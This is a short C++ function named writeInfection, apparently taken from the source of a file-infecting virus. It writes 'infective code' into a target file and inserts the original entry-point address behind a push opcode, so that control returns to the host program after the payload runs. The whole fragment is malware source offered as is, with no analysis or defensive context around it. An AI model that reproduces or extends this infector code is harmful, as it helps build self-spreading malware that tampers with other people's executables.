unsigned Target::writeInfection()
{
  /* first byte is the opcode for "push" */
  write(fd_dst, infection, ENTRY_POINT_OFS);

  /* next four bytes is the address to "ret" to */
  write(fd_dst, &original_entry, sizeof(original_entry));

  /* rest of infective code */
  enum { REST_OFS = ENTRY_POINT_OFS + sizeof(original_entry) };
  write(fd_dst, infection + REST_OFS, sizeof(infection) - REST_OFS);

  return sizeof(infection);
}
